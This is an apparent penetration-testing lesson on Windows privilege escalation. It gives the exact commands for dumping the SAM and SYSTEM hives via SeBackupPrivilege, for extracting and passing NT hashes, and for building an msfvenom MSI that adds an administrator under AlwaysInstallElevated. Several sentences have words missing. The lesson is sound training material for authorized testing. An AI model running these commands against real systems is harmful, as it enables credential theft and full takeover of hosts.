Dangerous Privileges and Installers
SeBackup reads any file, AlwaysInstallElevated runs your MSI as SYSTEM. Both are gifts admins leave behind.
What you will learn
- -Abuse SeBackupPrivilege to read files your account cannot open normally
- -Detect and exploit AlwaysInstallElevated for a SYSTEM MSI
- -Recognize other high-value privileges on a token
Not every path to is a service or a trick. Some Windows privileges and settings are so powerful that having them at all is the . You already know to read whoami /priv first. This lesson is what to do when the interesting line isn't SeImpersonatePrivilege.
SeBackupPrivilege
Backup Operators exist to copy files for backups, so their privilege ignores file ACLs on read. That means you can read files your account has no business opening, including the that hold hashes. You don't to run code, but you get the hashes, and hashes are as good as a login.
The move is to dump the and SYSTEM hives, pull them to your box, and extract hashes offline.
$reg save HKLM\SAM C:\Temp\sam.hive$reg save HKLM\SYSTEM C:\Temp\system.hiveCopy both files off the , then crack them open with impacket on your attacker box.
$impacket-secretsdump -sam sam.hive -system system.hive LOCALOnce you have the local , you rarely need to crack it. Pass it directly: evil-winrm -i TARGET -u Administrator -H <nthash>.
AlwaysInstallElevated
This one is pure carelessness. When both a machine-wide and a per-user registry value are set to 1, Windows installs any MSI package with SYSTEM privileges, no matter who runs it. Check both keys, because it only works when both are on.
$reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated$reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedIf both return 0x1, build a malicious MSI and run it. msfvenom makes the package.
$msfvenom -p windows/x64/exec CMD='net localgroup administrators user /add' -f msi -o eco.msi$msiexec /quiet /qn /i C:\Temp\eco.msiThe rest of the token
A few other privileges are worth knowing on sight. SeRestorePrivilege is the write-side twin of SeBackup and lets you overwrite protected files, including swapping a binary that runs as SYSTEM. SeTakeOwnership lets you seize any object and then re-ACL it to yourself. SeDebugPrivilege, usually only on admins already, lets you inject into a SYSTEM process. If you see one of these Enabled and you're not admin, you have a path.
Dumping SAM hashes and installing a SYSTEM MSI both give you full of the host and its . Only do this on machines you own or are explicitly authorized to test. Never exfiltrate real credential material outside an authorized engagement.
Windows local auth accepts the NT hash directly through , so a login needs no . That is why SeBackup, which only reads files, still ends the game: it hands you the hash, and the hash in.
You find AlwaysInstallElevated set to 0x1 only under HKCU, and 0x0 under HKLM. Can you exploit it?
On a lab box, query both AlwaysInstallElevated keys and check whoami /priv for SeBackupPrivilege. For whichever one is present, write the exact next command you would run and what it gives you.